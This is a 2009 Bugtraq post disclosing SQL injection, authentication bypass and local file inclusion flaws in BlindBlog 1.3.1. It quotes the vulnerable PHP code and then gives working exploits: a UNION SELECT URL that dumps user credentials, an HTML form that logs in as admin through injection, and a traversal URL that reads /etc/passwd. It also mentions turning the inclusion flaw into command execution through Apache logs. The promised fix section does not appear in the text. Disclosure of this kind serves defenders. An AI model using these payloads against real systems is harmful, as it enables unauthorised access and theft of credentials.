BlindBlog 1.3.1 Multiple Vulnerabilities (SQL Inj - Auth Bypass - LFI)
- To: Bugtraq <bugtraq@xxxxxxxxxxxxxxxxx>, str0ke <str0ke@xxxxxxxxxxx>
- Subject: BlindBlog 1.3.1 Multiple Vulnerabilities (SQL Inj - Auth Bypass - LFI)
- From: "Salvatore \"drosophila\" Fresta" <drosophilaxxx@xxxxxxxxx>
- Date: Tue, 3 Mar 2009 15:32:27 +0100
- Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type:content-transfer-encoding; bh=qjc/+qBrl4jEn3rBj2Y86Ou2TMWDs167po8QZQtcKIY=; b=Z6pnYwpGwLkrUI+8nGlzsjriUbd0PAHQ+3hMDTiH1xGo5Ylr++x6H7C2f4CYuGFKuw LIzYS2Q06VJ3azrHnZFxvkzog3TQhb+XIQNe3PPSc7UHT2VxguJJwU19P48N/3nwOtSK +ZIaQJ51RtNkUXLxbnP0bwQcn71FUjiBmSVpE=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type :content-transfer-encoding; b=MmMsz5O9dShGWynpvrfR1L9wvDrEBF/pUwEa0nPHYKB8pw+gvdCxTrbJgznw0Ysj1x 1mSnspuVtwzNWoKl1TkfmInMgzl8hLh8yJUiVrbNBNnTaXBVbGofT3kw/NNg/FGmdLwF 8NllSwECvcqJVDyM8Q7k528cfiDZA6lSUZ14g=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
******* Salvatore "drosophila" Fresta *******
[+] Application: BlindBlog
[+] Version: 1.3.1
[+] Website: http://sourceforge.net/projects/cbblog/
[+] Bugs: [A] SQL Injection
[B] Authentication Bypass
[C] Local File Inclusion
[+] Exploitation: Remote
[+] Date: 03 Mar 2009
[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx
*************************************************
[+] Menu
1) Bugs
2) Code
3) Fix
*************************************************
[+] Bugs
- [A] SQL Injection
[-] Requisites: magic_quotes_gpc = off
[-] File affected: comment.php
All queries are vulnerable.
This bug allows a guest to view username and the
password of a registered user.
$id = (isset($_GET['id']) && $_GET['id'] !='') ? $_GET['id'] : getlastid();
$SQL = "SELECT comment,author,contact,date FROM `cblog_comments`
WHERE `pid` = '$id' ORDER BY `cid` DESC";
$resulted = $db->query($SQL, $querys);
while ($result = mysql_fetch_assoc($resulted))
$comments[] = $result;
- [B] Authentication Bypass
[-] Requisites: magic_quotes_gpc = off
[-] File affected: admin.login.php
$username = $_POST['username'];
$password = md5($_POST['password']);
include('./db_config.php');
$db = new db_stuff;
$db->connect();
$result = $db->query("SELECT * FROM `cblog_users` WHERE `username` =
'$username'", $querys);
if (mysql_num_rows($result) > 1 || mysql_num_rows($result) < 1)
{
echo "Incorrect username";
exit;
}
$result = mysql_fetch_assoc($result);
if ($result['password'] !== $password)
{
echo 'Incorrect Password';
exit;
}
- [C] Local File Inclusion
[-] Requisites: none
[-] File affected: admin.php
This bug allow an admin to include local files.
It is possible bypass authentication using the
previous bug.
With this bug is possible to execute remote
commands using Apache logs.
...
} else if (isset($_GET['act']) && $_SESSION['is_admin'])
{
$loc = 'admin.'.$_GET['act'].'.php';
include('./'.$loc);
}
...
*************************************************
[+] Code
- [A] SQL Injection
http://www.site.com/path/comment.php?id=-1' UNION ALL SELECT
NULL,CONCAT(username, char(58), password),3,4 FROM cblog_users%23
- [B] Authentication Bypass
<html>
<head>
<title>BlindBlog 1.3.1 Authentication Bypass Exploit</title>
</head>
<body>
<form
action="http://www.site.com/path/admin/admin.login.php?go=1"
method="POST">
<input type="hidden" name="username" value="-1' UNION
ALL SELECT
1,'admin',MD5('expl')#">
<input type="hidden" name="password" value="expl">
<input type="submit" value="Exploit">
</form>
</body>
</html>
- [C] Local File Inclusion
Tested on MAC OSX: /Applications/xampp/xamppfiles/htdocs/cbblog/admin/admin.php
http://www.site.com/path/admin/admin.php?act=/../../../../../../../etc/passwd